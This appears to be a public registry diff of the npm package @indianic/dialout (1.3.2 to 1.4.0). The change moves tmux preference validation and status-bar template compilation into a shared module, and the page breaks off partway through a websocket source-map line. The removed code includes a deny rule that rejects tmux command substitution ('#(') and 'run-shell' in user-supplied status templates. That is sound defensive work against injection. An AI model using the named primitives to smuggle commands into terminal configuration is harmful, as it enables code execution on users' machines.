@indianic/dialout 1.3.2 → 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/config.d.ts +2 -4
- package/dist/config.d.ts.map +1 -1
- package/dist/config.js +6 -31
- package/dist/config.js.map +1 -1
- package/dist/tmux-config.d.ts +3 -27
- package/dist/tmux-config.d.ts.map +1 -1
- package/dist/tmux-config.js +8 -64
- package/dist/tmux-config.js.map +1 -1
- package/dist/websocket.d.ts.map +1 -1
- package/dist/websocket.js +19 -0
- package/dist/websocket.js.map +1 -1
- package/node_modules/@dialout/shared/dist/index.d.ts +2 -0
- package/node_modules/@dialout/shared/dist/index.d.ts.map +1 -1
- package/node_modules/@dialout/shared/dist/index.js +9 -1
- package/node_modules/@dialout/shared/dist/tmux-prefs.d.ts +65 -0
- package/node_modules/@dialout/shared/dist/tmux-prefs.d.ts.map +1 -0
- package/node_modules/@dialout/shared/dist/tmux-prefs.js +132 -0
- package/node_modules/@dialout/shared/src/index.ts +6 -0
- package/node_modules/@dialout/shared/src/tmux-prefs.test.ts +113 -0
- package/node_modules/@dialout/shared/src/tmux-prefs.ts +162 -0
- package/package.json +1 -1
package/dist/config.d.ts
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
import { TmuxPrefs } from '
|
|
1
|
+
import { TmuxPrefs } from '@dialout/shared';
|
|
2
2
|
export interface ProfileConfig {
|
|
3
3
|
serverUrl: string;
|
|
4
4
|
apiKey: string;
|
|
@@ -43,7 +43,5 @@ export declare function applyProfile(config: AgentConfig, name?: string): AgentC
|
|
|
43
43
|
export declare function saveProfile(name: string, profile: ProfileConfig, makeActive?: boolean): AgentConfig;
|
|
44
44
|
export declare function saveConfig(config: AgentConfig): void;
|
|
45
45
|
export declare function getConfigPath(): string;
|
|
46
|
-
export
|
|
47
|
-
tmux?: any;
|
|
48
|
-
}): TmuxPrefs;
|
|
46
|
+
export { resolveTmuxPrefs } from '@dialout/shared';
|
|
49
47
|
//# sourceMappingURL=config.d.ts.map
|
package/dist/config.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"config.d.ts","sourceRoot":"","sources":["../src/config.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,SAAS,
|
|
1
|
+
{"version":3,"file":"config.d.ts","sourceRoot":"","sources":["../src/config.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAK5C,MAAM,WAAW,aAAa;IAC5B,SAAS,EAAE,MAAM,CAAC;IAClB,MAAM,EAAE,MAAM,CAAC;CAChB;AAED,MAAM,WAAW,WAAW;IAE1B,SAAS,EAAE,MAAM,CAAC;IAClB,MAAM,EAAE,MAAM,CAAC;IACf,aAAa,CAAC,EAAE,MAAM,CAAC;IACvB,QAAQ,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,aAAa,CAAC,CAAC;IACzC,SAAS,EAAE,MAAM,EAAE,CAAC;IACpB,SAAS,EAAE;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,EAAE,EAAE,MAAM,CAAA;KAAE,CAAC;IACxC,iBAAiB,EAAE,MAAM,CAAC;IAC1B,YAAY,EAAE,MAAM,CAAC;IACrB,MAAM,CAAC,EAAE,OAAO,CAAC;IACjB,8EAA8E;IAC9E,eAAe,CAAC,EAAE,MAAM,EAAE,CAAC;IAC3B,8DAA8D;IAC9D,IAAI,CAAC,EAAE,OAAO,CAAC,SAAS,CAAC,GAAG;QAAE,MAAM,CAAC,EAAE,OAAO,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC,CAAA;KAAE,CAAC;CACvE;AAED;;;;;;GAMG;AACH,wBAAgB,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CAEpD;AAED,iFAAiF;AACjF,wBAAgB,kBAAkB,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CAE1D;AAOD,eAAO,MAAM,kBAAkB,6BAA6B,CAAC;AAC7D,eAAO,MAAM,wBAAwB,yBAAyB,CAAC;AAW/D,wBAAgB,YAAY,IAAI,MAAM,CAErC;AAED,wBAAgB,UAAU,IAAI,MAAM,CAEnC;AAED,wBAAgB,eAAe,IAAI,IAAI,CAwBtC;AAED,wBAAgB,UAAU,IAAI,WAAW,CAmBxC;AAID,wBAAgB,YAAY,CAAC,MAAM,EAAE,WAAW,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,WAAW,CAI5E;AAID,wBAAgB,WAAW,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,aAAa,EAAE,UAAU,UAAO,GAAG,WAAW,CAUhG;AAED,wBAAgB,UAAU,CAAC,MAAM,EAAE,WAAW,GAAG,IAAI,CAGpD;AAED,wBAAgB,aAAa,IAAI,MAAM,CAEtC;AAKD,OAAO,EAAE,gBAAgB,EAAE,MAAM,iBAAiB,CAAC"}
|
package/dist/config.js
CHANGED
|
@@ -33,7 +33,7 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
33
33
|
};
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
-
exports.DEFAULT_LOCAL_SERVER_URL = exports.DEFAULT_SERVER_URL = void 0;
|
|
36
|
+
exports.resolveTmuxPrefs = exports.DEFAULT_LOCAL_SERVER_URL = exports.DEFAULT_SERVER_URL = void 0;
|
|
37
37
|
exports.configDirFor = configDirFor;
|
|
38
38
|
exports.legacyConfigDirFor = legacyConfigDirFor;
|
|
39
39
|
exports.getConfigDir = getConfigDir;
|
|
@@ -44,11 +44,9 @@ exports.applyProfile = applyProfile;
|
|
|
44
44
|
exports.saveProfile = saveProfile;
|
|
45
45
|
exports.saveConfig = saveConfig;
|
|
46
46
|
exports.getConfigPath = getConfigPath;
|
|
47
|
-
exports.resolveTmuxPrefs = resolveTmuxPrefs;
|
|
48
47
|
const fs = __importStar(require("fs"));
|
|
49
48
|
const path = __importStar(require("path"));
|
|
50
49
|
const os = __importStar(require("os"));
|
|
51
|
-
const tmux_config_1 = require("./tmux-config");
|
|
52
50
|
/**
|
|
53
51
|
* Where the agent keeps config, logs, the pid file and the watchdog.
|
|
54
52
|
*
|
|
@@ -151,32 +149,9 @@ function saveConfig(config) {
|
|
|
151
149
|
function getConfigPath() {
|
|
152
150
|
return CONFIG_FILE;
|
|
153
151
|
}
|
|
154
|
-
//
|
|
155
|
-
//
|
|
156
|
-
//
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
// `mouse` string would render `set-option -g mouse sideways`, which tmux
|
|
160
|
-
// rejects — costing that line silently, since source-file warns and continues
|
|
161
|
-
// rather than aborting.
|
|
162
|
-
function resolveTmuxPrefs(config = {}) {
|
|
163
|
-
const stored = config.tmux || {};
|
|
164
|
-
const status = stored.status || {};
|
|
165
|
-
const oneOf = (value, allowed, fallback) => (allowed.includes(value) ? value : fallback);
|
|
166
|
-
return {
|
|
167
|
-
mouse: oneOf(stored.mouse, ['native-select', 'tmux'], tmux_config_1.DEFAULT_TMUX_PREFS.mouse),
|
|
168
|
-
attachMode: oneOf(stored.attachMode, ['auto', 'control', 'normal'], tmux_config_1.DEFAULT_TMUX_PREFS.attachMode),
|
|
169
|
-
historyLimit: Number.isInteger(stored.historyLimit) && stored.historyLimit > 0
|
|
170
|
-
? stored.historyLimit
|
|
171
|
-
: tmux_config_1.DEFAULT_TMUX_PREFS.historyLimit,
|
|
172
|
-
status: {
|
|
173
|
-
enabled: typeof status.enabled === 'boolean' ? status.enabled : tmux_config_1.DEFAULT_TMUX_PREFS.status.enabled,
|
|
174
|
-
position: oneOf(status.position, ['top', 'bottom'], tmux_config_1.DEFAULT_TMUX_PREFS.status.position),
|
|
175
|
-
bg: typeof status.bg === 'string' ? status.bg : tmux_config_1.DEFAULT_TMUX_PREFS.status.bg,
|
|
176
|
-
fg: typeof status.fg === 'string' ? status.fg : tmux_config_1.DEFAULT_TMUX_PREFS.status.fg,
|
|
177
|
-
left: typeof status.left === 'string' ? status.left : tmux_config_1.DEFAULT_TMUX_PREFS.status.left,
|
|
178
|
-
right: typeof status.right === 'string' ? status.right : tmux_config_1.DEFAULT_TMUX_PREFS.status.right,
|
|
179
|
-
},
|
|
180
|
-
};
|
|
181
|
-
}
|
|
152
|
+
// Validation lives in @dialout/shared so the settings API applies exactly the
|
|
153
|
+
// same rules to a browser-supplied body. Re-exported here because the agent's
|
|
154
|
+
// callers have always reached for it through ./config.
|
|
155
|
+
var shared_1 = require("@dialout/shared");
|
|
156
|
+
Object.defineProperty(exports, "resolveTmuxPrefs", { enumerable: true, get: function () { return shared_1.resolveTmuxPrefs; } });
|
|
182
157
|
//# sourceMappingURL=config.js.map
|
package/dist/config.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"config.js","sourceRoot":"","sources":["../src/config.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAqCA,oCAEC;AAGD,gDAEC;AAmBD,oCAEC;AAED,gCAEC;AAED,0CAwBC;AAED,gCAmBC;AAID,oCAIC;AAID,kCAUC;AAED,gCAGC;AAED,sCAEC;
|
|
1
|
+
{"version":3,"file":"config.js","sourceRoot":"","sources":["../src/config.ts"],"names":[],"mappings":"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"}
|
package/dist/tmux-config.d.ts
CHANGED
|
@@ -1,29 +1,5 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
bg: string;
|
|
5
|
-
fg: string;
|
|
6
|
-
left: string;
|
|
7
|
-
right: string;
|
|
8
|
-
}
|
|
9
|
-
export interface TmuxPrefs {
|
|
10
|
-
/**
|
|
11
|
-
* 'native-select' turns mouse reporting OFF, so the terminal emulator keeps
|
|
12
|
-
* its own drag-select, Cmd+C and Cmd+V. The cost is that the wheel no longer
|
|
13
|
-
* scrolls tmux history (prefix + [ does). 'tmux' is the pre-2026-09 behaviour.
|
|
14
|
-
*
|
|
15
|
-
* Browser sessions override this back to `on` per session — see
|
|
16
|
-
* applyBrowserSessionOptions — because a browser tab has no native selection
|
|
17
|
-
* of a remote pane to fall back on.
|
|
18
|
-
*/
|
|
19
|
-
mouse: 'native-select' | 'tmux';
|
|
20
|
-
/** How the cowork rc block execs tmux. 'auto' resolves to 'normal' for now. */
|
|
21
|
-
attachMode: 'auto' | 'control' | 'normal';
|
|
22
|
-
historyLimit: number;
|
|
23
|
-
status: TmuxStatusPrefs;
|
|
24
|
-
}
|
|
25
|
-
export declare const STATUS_TOKENS: string[];
|
|
26
|
-
export declare function compileStatusTemplate(template: string): string;
|
|
27
|
-
export declare const DEFAULT_TMUX_PREFS: TmuxPrefs;
|
|
1
|
+
import { TmuxPrefs } from '@dialout/shared';
|
|
2
|
+
export type { TmuxPrefs, TmuxStatusPrefs } from '@dialout/shared';
|
|
3
|
+
export { DEFAULT_TMUX_PREFS, STATUS_TOKENS, compileStatusTemplate, } from '@dialout/shared';
|
|
28
4
|
export declare function renderTmuxConf(prefs: TmuxPrefs): string;
|
|
29
5
|
//# sourceMappingURL=tmux-config.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"tmux-config.d.ts","sourceRoot":"","sources":["../src/tmux-config.ts"],"names":[],"mappings":"
|
|
1
|
+
{"version":3,"file":"tmux-config.d.ts","sourceRoot":"","sources":["../src/tmux-config.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAA6C,MAAM,iBAAiB,CAAC;AAkBvF,YAAY,EAAE,SAAS,EAAE,eAAe,EAAE,MAAM,iBAAiB,CAAC;AAClE,OAAO,EACL,kBAAkB,EAAE,aAAa,EAAE,qBAAqB,GACzD,MAAM,iBAAiB,CAAC;AAqDzB,wBAAgB,cAAc,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CA4DvD"}
|
package/dist/tmux-config.js
CHANGED
|
@@ -1,68 +1,12 @@
|
|
|
1
1
|
"use strict";
|
|
2
|
-
// The single source of truth for every tmux option the agent applies.
|
|
3
|
-
//
|
|
4
|
-
// This used to exist twice: NATIVE_TMUX_COMMANDS in pty-manager.ts, and a
|
|
5
|
-
// hand-transcribed shell copy inside the cowork rc block. They drifted —
|
|
6
|
-
// history-limit was 100000 in one and 50000 in the other — and nothing caught
|
|
7
|
-
// it, because the only way to observe either was to run tmux. Rendering both
|
|
8
|
-
// from one pure function makes the drift impossible and the result assertable.
|
|
9
|
-
//
|
|
10
|
-
// Everything here is GLOBAL. Per-session options (@devdash_*, window-size,
|
|
11
|
-
// aggressive-resize) stay with their callers, because a shared file cannot know
|
|
12
|
-
// a session name.
|
|
13
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
14
|
-
exports.
|
|
15
|
-
exports.compileStatusTemplate = compileStatusTemplate;
|
|
3
|
+
exports.compileStatusTemplate = exports.STATUS_TOKENS = exports.DEFAULT_TMUX_PREFS = void 0;
|
|
16
4
|
exports.renderTmuxConf = renderTmuxConf;
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
// Rejecting rather than escaping is deliberate for those two: no legitimate
|
|
23
|
-
// status bar needs either, and an escape that is one tmux release out of date
|
|
24
|
-
// fails open. The quote is escaped rather than rejected because a user may
|
|
25
|
-
// reasonably want one.
|
|
26
|
-
const TOKEN_FORMATS = {
|
|
27
|
-
// #{b:...} is tmux's own basename modifier, so the folder tracks a cd.
|
|
28
|
-
folder: '#{b:pane_current_path}',
|
|
29
|
-
path: '#{pane_current_path}',
|
|
30
|
-
session: '#{session_name}',
|
|
31
|
-
window: '#{window_name}',
|
|
32
|
-
title: '#{=21:pane_title}',
|
|
33
|
-
time: '%H:%M',
|
|
34
|
-
date: '%d-%b-%y',
|
|
35
|
-
};
|
|
36
|
-
exports.STATUS_TOKENS = Object.keys(TOKEN_FORMATS);
|
|
37
|
-
function compileStatusTemplate(template) {
|
|
38
|
-
const text = String(template);
|
|
39
|
-
if (text.includes('#(')) {
|
|
40
|
-
throw new Error('command substitution "#(" is not allowed in a status template');
|
|
41
|
-
}
|
|
42
|
-
if (/run-shell/i.test(text)) {
|
|
43
|
-
throw new Error('"run-shell" is not allowed in a status template');
|
|
44
|
-
}
|
|
45
|
-
// Escape backslash first, then the quote, or the escapes escape each other.
|
|
46
|
-
const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
|
|
47
|
-
// An unknown [token] is left verbatim: silently dropping it would make a typo
|
|
48
|
-
// look like the setting had no effect.
|
|
49
|
-
return escaped.replace(/\[([a-z]+)\]/g, (whole, name) => TOKEN_FORMATS[name] ?? whole);
|
|
50
|
-
}
|
|
51
|
-
exports.DEFAULT_TMUX_PREFS = {
|
|
52
|
-
mouse: 'native-select',
|
|
53
|
-
attachMode: 'auto',
|
|
54
|
-
historyLimit: 100000,
|
|
55
|
-
status: {
|
|
56
|
-
enabled: true,
|
|
57
|
-
position: 'bottom',
|
|
58
|
-
// tmux's own default is bg=green,fg=black. Kept so an upgrade does not
|
|
59
|
-
// silently restyle a bar the user never asked to change.
|
|
60
|
-
bg: 'green',
|
|
61
|
-
fg: 'black',
|
|
62
|
-
left: '[[session]] ',
|
|
63
|
-
right: '[title] [time] [date]',
|
|
64
|
-
},
|
|
65
|
-
};
|
|
5
|
+
const shared_1 = require("@dialout/shared");
|
|
6
|
+
var shared_2 = require("@dialout/shared");
|
|
7
|
+
Object.defineProperty(exports, "DEFAULT_TMUX_PREFS", { enumerable: true, get: function () { return shared_2.DEFAULT_TMUX_PREFS; } });
|
|
8
|
+
Object.defineProperty(exports, "STATUS_TOKENS", { enumerable: true, get: function () { return shared_2.STATUS_TOKENS; } });
|
|
9
|
+
Object.defineProperty(exports, "compileStatusTemplate", { enumerable: true, get: function () { return shared_2.compileStatusTemplate; } });
|
|
66
10
|
// Clipboard tools, most-preferred first. ONE chain: pbcopy must be tried before
|
|
67
11
|
// the Linux tools, because xclip and xsel are installable on macOS via Homebrew
|
|
68
12
|
// and an independent Linux branch would fire there too, binding copy through a
|
|
@@ -158,8 +102,8 @@ function renderTmuxConf(prefs) {
|
|
|
158
102
|
`set-option -g status ${prefs.status.enabled ? 'on' : 'off'}`,
|
|
159
103
|
`set-option -g status-position ${prefs.status.position}`,
|
|
160
104
|
`set-option -g status-style "bg=${prefs.status.bg},fg=${prefs.status.fg}"`,
|
|
161
|
-
`set-option -g status-left "${compileStatusTemplate(prefs.status.left)}"`,
|
|
162
|
-
`set-option -g status-right "${compileStatusTemplate(prefs.status.right)}"`,
|
|
105
|
+
`set-option -g status-left "${(0, shared_1.compileStatusTemplate)(prefs.status.left)}"`,
|
|
106
|
+
`set-option -g status-right "${(0, shared_1.compileStatusTemplate)(prefs.status.right)}"`,
|
|
163
107
|
'',
|
|
164
108
|
'# Clipboard: one chain, first available tool wins.',
|
|
165
109
|
...clipboardChain(),
|
package/dist/tmux-config.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"tmux-config.js","sourceRoot":"","sources":["../src/tmux-config.ts"],"names":[],"mappings":"
|
|
1
|
+
{"version":3,"file":"tmux-config.js","sourceRoot":"","sources":["../src/tmux-config.ts"],"names":[],"mappings":"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"}
|
package/dist/websocket.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"websocket.d.ts","sourceRoot":"","sources":["../src/websocket.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,WAAW,
|
|
1
|
+
